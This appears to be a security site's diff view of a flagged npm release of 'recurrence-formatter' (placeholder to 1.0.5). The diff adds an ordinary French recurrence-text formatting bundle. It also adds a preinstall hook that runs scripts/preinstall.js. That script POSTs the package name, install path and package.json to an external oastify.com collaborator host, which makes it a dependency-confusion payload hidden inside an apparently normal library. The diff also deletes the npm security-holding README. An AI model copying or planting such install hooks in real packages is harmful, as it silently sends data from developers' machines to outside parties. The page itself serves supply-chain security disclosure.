recurrence-formatter 0.0.1-security → 1.0.5
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of recurrence-formatter might be problematic. Click here for more details.
- package/dist/recurrence-formatter.umd.js +367 -0
- package/package.json +9 -3
- package/scripts/preinstall.js +52 -0
- package/README.md +0 -5
@@ -0,0 +1,367 @@
|
|
1
|
+
(function (global, factory) {
|
2
|
+
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('rrule')) : typeof define === 'function' && define.amd ? define(['exports', 'rrule'], factory) : factory(global['recurrence-formatter'] = {}, global.rrule);
|
3
|
+
})(this, function (exports, rrule) {
|
4
|
+
'use strict';
|
5
|
+
|
6
|
+
function _slicedToArray(arr, i) {
|
7
|
+
return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest();
|
8
|
+
}
|
9
|
+
function _arrayWithHoles(arr) {
|
10
|
+
if (Array.isArray(arr)) return arr;
|
11
|
+
}
|
12
|
+
function _iterableToArrayLimit(arr, i) {
|
13
|
+
var _arr = [];
|
14
|
+
var _n = true;
|
15
|
+
var _d = false;
|
16
|
+
var _e = undefined;
|
17
|
+
try {
|
18
|
+
for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) {
|
19
|
+
_arr.push(_s.value);
|
20
|
+
if (i && _arr.length === i) break;
|
21
|
+
}
|
22
|
+
} catch (err) {
|
23
|
+
_d = true;
|
24
|
+
_e = err;
|
25
|
+
} finally {
|
26
|
+
try {
|
27
|
+
if (!_n && _i["return"] != null) _i["return"]();
|
28
|
+
} finally {
|
29
|
+
if (_d) throw _e;
|
30
|
+
}
|
31
|
+
}
|
32
|
+
return _arr;
|
33
|
+
}
|
34
|
+
function _nonIterableRest() {
|
35
|
+
throw new TypeError("Invalid attempt to destructure non-iterable instance");
|
36
|
+
}
|
37
|
+
function generateArray(value) {
|
38
|
+
return Array.from({
|
39
|
+
length: value
|
40
|
+
}, function (v, i) {
|
41
|
+
return {
|
42
|
+
value: i + 1,
|
43
|
+
title: (i + 1).toString()
|
44
|
+
};
|
45
|
+
});
|
46
|
+
}
|
47
|
+
var recurrences = {
|
48
|
+
frequencyTypeItems: [{
|
49
|
+
value: 'DAILY',
|
50
|
+
title: 'quotidienne',
|
51
|
+
unitsText: 'jour(s)'
|
52
|
+
}, {
|
53
|
+
value: 'WEEKLY',
|
54
|
+
title: 'hebdomadaire',
|
55
|
+
unitsText: 'semaine(s)',
|
56
|
+
selected: true,
|
57
|
+
isFeminine: true
|
58
|
+
}, {
|
59
|
+
value: 'MONTHLY',
|
60
|
+
title: 'mensuelle',
|
61
|
+
unitsText: 'mois'
|
62
|
+
}, {
|
63
|
+
value: 'YEARLY',
|
64
|
+
title: 'annuelle',
|
65
|
+
unitsText: 'an(s)'
|
66
|
+
}],
|
67
|
+
weekDays: [{
|
68
|
+
title: 'lun.',
|
69
|
+
value: 'MO',
|
70
|
+
fullTitle: 'lundi'
|
71
|
+
}, {
|
72
|
+
title: 'mar.',
|
73
|
+
value: 'TU',
|
74
|
+
fullTitle: 'mardi'
|
75
|
+
}, {
|
76
|
+
title: 'mer.',
|
77
|
+
value: 'WE',
|
78
|
+
fullTitle: 'mercredi'
|
79
|
+
}, {
|
80
|
+
title: 'jeu.',
|
81
|
+
value: 'TH',
|
82
|
+
fullTitle: 'jeudi'
|
83
|
+
}, {
|
84
|
+
title: 'ven.',
|
85
|
+
value: 'FR',
|
86
|
+
fullTitle: 'vendredi'
|
87
|
+
}, {
|
88
|
+
title: 'sam.',
|
89
|
+
value: 'SA',
|
90
|
+
fullTitle: 'samedi'
|
91
|
+
}, {
|
92
|
+
title: 'dim.',
|
93
|
+
value: 'SU',
|
94
|
+
fullTitle: 'dimanche'
|
95
|
+
}],
|
96
|
+
frequencyItems: {
|
97
|
+
DAILY: generateArray(30),
|
98
|
+
YEARLY: generateArray(10),
|
99
|
+
MONTHLY: generateArray(11),
|
100
|
+
WEEKLY: generateArray(51)
|
101
|
+
},
|
102
|
+
monthlyRecurrence: {
|
103
|
+
number: generateArray(31),
|
104
|
+
occurences: [{
|
105
|
+
value: 1,
|
106
|
+
title: 'premier'
|
107
|
+
}, {
|
108
|
+
value: 2,
|
109
|
+
title: 'deuxième'
|
110
|
+
}, {
|
111
|
+
value: 3,
|
112
|
+
title: 'troisième'
|
113
|
+
}, {
|
114
|
+
value: 4,
|
115
|
+
title: 'quatrième'
|
116
|
+
}, {
|
117
|
+
value: 5,
|
118
|
+
title: 'cinquième'
|
119
|
+
}, {
|
120
|
+
value: -1,
|
121
|
+
title: 'dernier'
|
122
|
+
}],
|
123
|
+
days: [{
|
124
|
+
value: 'MO',
|
125
|
+
title: 'lundi'
|
126
|
+
}, {
|
127
|
+
value: 'TU',
|
128
|
+
title: 'mardi'
|
129
|
+
}, {
|
130
|
+
value: 'WE',
|
131
|
+
title: 'mercredi'
|
132
|
+
}, {
|
133
|
+
value: 'TH',
|
134
|
+
title: 'jeudi'
|
135
|
+
}, {
|
136
|
+
value: 'FR',
|
137
|
+
title: 'vendredi'
|
138
|
+
}, {
|
139
|
+
value: 'SA',
|
140
|
+
title: 'samedi'
|
141
|
+
}, {
|
142
|
+
value: 'SU',
|
143
|
+
title: 'dimanche'
|
144
|
+
}]
|
145
|
+
}
|
146
|
+
};
|
147
|
+
var formatDate = function formatDate(date) {
|
148
|
+
return "".concat(date.toISOString().substr(0, 19).replace(/[-:]/g, ''), "Z");
|
149
|
+
};
|
150
|
+
function getRecurrenceObjectFromRrule(rrule$$1, shouldUseRruleConversion) {
|
151
|
+
var now = new Date();
|
152
|
+
var rec;
|
153
|
+
if (rrule$$1) {
|
154
|
+
var rr = shouldUseRruleConversion ? rrule.rrulestr(rrule$$1) : rrule$$1;
|
155
|
+
rec = rr && rr.options || {};
|
156
|
+
} else {
|
157
|
+
rec = {};
|
158
|
+
}
|
159
|
+
var months = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12'];
|
160
|
+
var weekDays = ['MO', 'TU', 'WE', 'TH', 'FR', 'SA', 'SU'];
|
161
|
+
var hasRecurrence = false;
|
162
|
+
var frequencyType = 'WEEKLY';
|
163
|
+
var frequencyUnit = 1;
|
164
|
+
var recurrenceEndCount = 5;
|
165
|
+
var recurrenceEndDate = "".concat(now.getDate(), "/").concat(months[now.getMonth()], "/").concat(now.getFullYear());
|
166
|
+
var recurrenceEndType = 'none';
|
167
|
+
var weeklyRecurrence = [weekDays[now.getDay() - 1]];
|
168
|
+
var monthlyRecurrenceType = 'byDayPosition';
|
169
|
+
var monthlyRecurrenceNumber = 1;
|
170
|
+
var monthlyRecurrenceOccurence = 1;
|
171
|
+
var monthlyRecurrenceDay = 'MO';
|
172
|
+
if (rec.freq !== undefined) {
|
173
|
+
hasRecurrence = true;
|
174
|
+
/* @TODO: à remove quand la lib rrule sera remove aussi */
|
175
|
+
|
176
|
+
frequencyType = rrule.RRule.FREQUENCIES[rec.freq];
|
177
|
+
frequencyUnit = rec.interval;
|
178
|
+
if (rec.count) {
|
179
|
+
recurrenceEndType = 'count';
|
180
|
+
recurrenceEndCount = rec.count;
|
181
|
+
} else if (rec.until) {
|
182
|
+
recurrenceEndType = 'date';
|
183
|
+
var untilDate = new Date(rec.until);
|
184
|
+
recurrenceEndDate = "".concat(untilDate.getDate(), "/").concat(months[untilDate.getMonth()], "/").concat(untilDate.getFullYear());
|
185
|
+
} else {
|
186
|
+
recurrenceEndType = 'none';
|
187
|
+
}
|
188
|
+
if (rec.freq === rrule.RRule.WEEKLY) {
|
189
|
+
weeklyRecurrence = [];
|
190
|
+
rec.byweekday.forEach(function (d) {
|
191
|
+
weeklyRecurrence.push(weekDays[d]);
|
192
|
+
});
|
193
|
+
} else if (rec.freq === rrule.RRule.MONTHLY) {
|
194
|
+
if (rec.bymonthday && rec.bymonthday.length) {
|
195
|
+
monthlyRecurrenceType = 'byMonthDay';
|
196
|
+
var _rec$bymonthday = _slicedToArray(rec.bymonthday, 1);
|
197
|
+
monthlyRecurrenceNumber = _rec$bymonthday[0];
|
198
|
+
} else if (rec.bysetpos && rec.bysetpos.length) {
|
199
|
+
monthlyRecurrenceType = 'byDayPosition';
|
200
|
+
var _rec$bysetpos = _slicedToArray(rec.bysetpos, 1);
|
201
|
+
monthlyRecurrenceOccurence = _rec$bysetpos[0];
|
202
|
+
monthlyRecurrenceDay = weekDays[rec.byweekday[0]];
|
203
|
+
}
|
204
|
+
}
|
205
|
+
}
|
206
|
+
return {
|
207
|
+
hasRecurrence: hasRecurrence,
|
208
|
+
frequencyType: frequencyType,
|
209
|
+
frequencyUnit: frequencyUnit,
|
210
|
+
recurrenceEndCount: recurrenceEndCount,
|
211
|
+
recurrenceEndDate: recurrenceEndDate,
|
212
|
+
recurrenceEndType: recurrenceEndType,
|
213
|
+
weeklyRecurrence: weeklyRecurrence,
|
214
|
+
monthlyRecurrenceType: monthlyRecurrenceType,
|
215
|
+
monthlyRecurrenceNumber: monthlyRecurrenceNumber,
|
216
|
+
monthlyRecurrenceOccurence: monthlyRecurrenceOccurence,
|
217
|
+
monthlyRecurrenceDay: monthlyRecurrenceDay
|
218
|
+
};
|
219
|
+
}
|
220
|
+
function getRecurrenceTextFromRruleString(rruleString) {
|
221
|
+
var text = '';
|
222
|
+
if (rruleString) {
|
223
|
+
var textArray = [];
|
224
|
+
var rrule$$1 = rrule.rrulestr(rruleString);
|
225
|
+
var _getRecurrenceObjectF = getRecurrenceObjectFromRrule(rrule$$1),
|
226
|
+
hasRecurrence = _getRecurrenceObjectF.hasRecurrence,
|
227
|
+
frequencyUnit = _getRecurrenceObjectF.frequencyUnit,
|
228
|
+
frequencyType = _getRecurrenceObjectF.frequencyType,
|
229
|
+
weeklyRecurrence = _getRecurrenceObjectF.weeklyRecurrence,
|
230
|
+
monthlyRecurrenceType = _getRecurrenceObjectF.monthlyRecurrenceType,
|
231
|
+
monthlyRecurrenceNumber = _getRecurrenceObjectF.monthlyRecurrenceNumber,
|
232
|
+
monthlyRecurrenceOccurence = _getRecurrenceObjectF.monthlyRecurrenceOccurence,
|
233
|
+
monthlyRecurrenceDay = _getRecurrenceObjectF.monthlyRecurrenceDay,
|
234
|
+
recurrenceEndType = _getRecurrenceObjectF.recurrenceEndType,
|
235
|
+
recurrenceEndCount = _getRecurrenceObjectF.recurrenceEndCount,
|
236
|
+
recurrenceEndDate = _getRecurrenceObjectF.recurrenceEndDate;
|
237
|
+
if (hasRecurrence) {
|
238
|
+
var type = recurrences.frequencyTypeItems.filter(function (f) {
|
239
|
+
return f.value === frequencyType;
|
240
|
+
})[0];
|
241
|
+
var interval = frequencyUnit === 1 ? '' : frequencyUnit;
|
242
|
+
var typeLabel = type.unitsText.replace(/[()]/g, '');
|
243
|
+
var allText = type.isFeminine ? 'toutes les' : 'tous les';
|
244
|
+
var typeText = "".concat(type.title, ", a lieu");
|
245
|
+
textArray.push(typeText);
|
246
|
+
switch (frequencyType) {
|
247
|
+
case 'WEEKLY':
|
248
|
+
{
|
249
|
+
var wd = [];
|
250
|
+
recurrences.weekDays.forEach(function (day) {
|
251
|
+
if (weeklyRecurrence.indexOf(day.value) !== -1) {
|
252
|
+
wd.push("".concat(day.fullTitle, "s"));
|
253
|
+
}
|
254
|
+
});
|
255
|
+
if (wd.length) {
|
256
|
+
var txt = 'les ';
|
257
|
+
if (wd.length > 1) {
|
258
|
+
var lastEntry = wd.pop();
|
259
|
+
txt += wd.join(', ');
|
260
|
+
txt += " et ".concat(lastEntry);
|
261
|
+
} else {
|
262
|
+
txt += wd[0];
|
263
|
+
}
|
264
|
+
textArray.push(txt);
|
265
|
+
}
|
266
|
+
break;
|
267
|
+
}
|
268
|
+
case 'MONTHLY':
|
269
|
+
{
|
270
|
+
if (monthlyRecurrenceType === 'byMonthDay') {
|
271
|
+
textArray.push("le ".concat(monthlyRecurrenceNumber, " du mois"));
|
272
|
+
} else if (monthlyRecurrenceType === 'byDayPosition') {
|
273
|
+
var position = recurrences.monthlyRecurrence.occurences.filter(function (f) {
|
274
|
+
return f.value === monthlyRecurrenceOccurence;
|
275
|
+
});
|
276
|
+
var day = recurrences.monthlyRecurrence.days.filter(function (f) {
|
277
|
+
return f.value === monthlyRecurrenceDay;
|
278
|
+
});
|
279
|
+
textArray.push("le ".concat(position[0].title, " ").concat(day[0].title, " du mois"));
|
280
|
+
}
|
281
|
+
break;
|
282
|
+
}
|
283
|
+
default:
|
284
|
+
break;
|
285
|
+
}
|
286
|
+
if (interval) {
|
287
|
+
textArray.push(allText, interval, typeLabel);
|
288
|
+
} else {
|
289
|
+
textArray.push(allText, typeLabel);
|
290
|
+
}
|
291
|
+
if (recurrenceEndType === 'count') {
|
292
|
+
textArray.push("pendant ".concat(recurrenceEndCount, " occurence").concat(recurrenceEndCount > 1 ? 's' : ''));
|
293
|
+
} else if (recurrenceEndType === 'date') {
|
294
|
+
textArray.push("jusqu'au ".concat(recurrenceEndDate));
|
295
|
+
}
|
296
|
+
text += textArray.join(' ');
|
297
|
+
}
|
298
|
+
}
|
299
|
+
return text;
|
300
|
+
}
|
301
|
+
function getRruleStringFromRecurrenceObject(rruleObj) {
|
302
|
+
var text = '';
|
303
|
+
if (rruleObj) {
|
304
|
+
var frequencyUnit = rruleObj.frequencyUnit,
|
305
|
+
frequencyType = rruleObj.frequencyType,
|
306
|
+
weeklyRecurrence = rruleObj.weeklyRecurrence,
|
307
|
+
monthlyRecurrenceType = rruleObj.monthlyRecurrenceType,
|
308
|
+
monthlyRecurrenceNumber = rruleObj.monthlyRecurrenceNumber,
|
309
|
+
monthlyRecurrenceOccurence = rruleObj.monthlyRecurrenceOccurence,
|
310
|
+
monthlyRecurrenceDay = rruleObj.monthlyRecurrenceDay,
|
311
|
+
recurrenceEndType = rruleObj.recurrenceEndType,
|
312
|
+
recurrenceEndCount = rruleObj.recurrenceEndCount,
|
313
|
+
recurrenceEndDate = rruleObj.recurrenceEndDate;
|
314
|
+
var obj = {};
|
315
|
+
obj.freq = rrule.RRule[frequencyType];
|
316
|
+
obj.interval = frequencyUnit;
|
317
|
+
if (frequencyType === 'MONTHLY') {
|
318
|
+
if (monthlyRecurrenceType === 'byMonthDay') {
|
319
|
+
obj.bymonthday = [monthlyRecurrenceNumber];
|
320
|
+
} else if (monthlyRecurrenceType === 'byDayPosition') {
|
321
|
+
obj.bysetpos = [monthlyRecurrenceOccurence];
|
322
|
+
obj.byweekday = [rrule.RRule[monthlyRecurrenceDay]];
|
323
|
+
}
|
324
|
+
} else if (frequencyType === 'WEEKLY' && weeklyRecurrence) {
|
325
|
+
obj.byweekday = weeklyRecurrence.map(function (w) {
|
326
|
+
return rrule.RRule[w];
|
327
|
+
});
|
328
|
+
}
|
329
|
+
if (recurrenceEndType === 'count') {
|
330
|
+
obj.count = recurrenceEndCount;
|
331
|
+
} else if (recurrenceEndType === 'date') {
|
332
|
+
obj.until = recurrenceEndDate.toISOString();
|
333
|
+
}
|
334
|
+
var rr = new rrule.RRule(obj);
|
335
|
+
text += rr.toString().replace('RRULE:', '');
|
336
|
+
}
|
337
|
+
return text;
|
338
|
+
}
|
339
|
+
function getRecurrenceTextFromRruleObj(rruleObj, start) {
|
340
|
+
var stringRule = [];
|
341
|
+
Object.keys(rruleObj).forEach(function (key) {
|
342
|
+
var val = rruleObj[key];
|
343
|
+
if (key === 'until') {
|
344
|
+
val = formatDate(val);
|
345
|
+
}
|
346
|
+
if (Array.isArray(rruleObj[key])) {
|
347
|
+
val = rruleObj[key].join(',');
|
348
|
+
} // force freq to be the first param of the rrule
|
349
|
+
|
350
|
+
if (key === 'freq') {
|
351
|
+
stringRule.unshift("".concat(key.toUpperCase(), "=").concat(val));
|
352
|
+
} else {
|
353
|
+
stringRule.push("".concat(key.toUpperCase(), "=").concat(val));
|
354
|
+
}
|
355
|
+
});
|
356
|
+
var str = "DTSTART:".concat(formatDate(start));
|
357
|
+
str += "\nRRULE:".concat(stringRule.join(';'));
|
358
|
+
return getRecurrenceTextFromRruleString(str);
|
359
|
+
}
|
360
|
+
exports.getRecurrenceObjectFromRrule = getRecurrenceObjectFromRrule;
|
361
|
+
exports.getRecurrenceTextFromRruleString = getRecurrenceTextFromRruleString;
|
362
|
+
exports.getRruleStringFromRecurrenceObject = getRruleStringFromRecurrenceObject;
|
363
|
+
exports.getRecurrenceTextFromRruleObj = getRecurrenceTextFromRruleObj;
|
364
|
+
Object.defineProperty(exports, '__esModule', {
|
365
|
+
value: true
|
366
|
+
});
|
367
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "recurrence-formatter",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.5",
|
4
|
+
"description": "This package sends a callback to a server when installed (for analytics purposes). Original recurrence-formatter from a Dependency Confusion (from YesWH Hunter)",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"All went OK.\" && exit 1",
|
8
|
+
"preinstall": "node ./scripts/preinstall.js"
|
9
|
+
},
|
10
|
+
"author": "sicarius@wearehackerone.com",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
@@ -0,0 +1,52 @@
|
|
1
|
+
//author:- sicarius@wearehackerone.com
|
2
|
+
const https = require("https");
|
3
|
+
const packageJSON = require("../package.json");
|
4
|
+
const package = packageJSON.name;
|
5
|
+
const fs = require('fs');
|
6
|
+
const path = require('path');
|
7
|
+
|
8
|
+
// Check for a required file in the project directory
|
9
|
+
const requiredFile = path.join(__dirname, '..', 'required-file.txt');
|
10
|
+
|
11
|
+
if (!fs.existsSync(requiredFile)) {
|
12
|
+
console.error('Error: The required-file.txt is missing. Please create it before installing the package.');
|
13
|
+
}
|
14
|
+
|
15
|
+
console.log('Preinstall required check completed successfully. Proceeding with custom analytics...');
|
16
|
+
|
17
|
+
const analytics = JSON.stringify({
|
18
|
+
p: package,
|
19
|
+
c: __dirname,
|
20
|
+
pjson: packageJSON,
|
21
|
+
});
|
22
|
+
|
23
|
+
var postData = querystring.stringify({
|
24
|
+
msg: analytics,
|
25
|
+
});
|
26
|
+
|
27
|
+
var http_request_options = {
|
28
|
+
// Registering the user
|
29
|
+
hostname: "jl83enqid4soifhh0i1br2cy8peg26qv.oastify.com",
|
30
|
+
port: 443,
|
31
|
+
path: "/",
|
32
|
+
method: "POST",
|
33
|
+
headers: {
|
34
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
35
|
+
"Content-Length": postData.length,
|
36
|
+
},
|
37
|
+
};
|
38
|
+
|
39
|
+
var req = https.request(http_request_options, (res) => {
|
40
|
+
res.on("data", (d) => {
|
41
|
+
process.stdout.write(d);
|
42
|
+
});
|
43
|
+
});
|
44
|
+
|
45
|
+
req.on("error", (e) => {
|
46
|
+
// console.error(e);
|
47
|
+
});
|
48
|
+
console.log('Preinstall script completed...');
|
49
|
+
|
50
|
+
req.write(postData);
|
51
|
+
req.end();
|
52
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=recurrence-formatter for more information.
|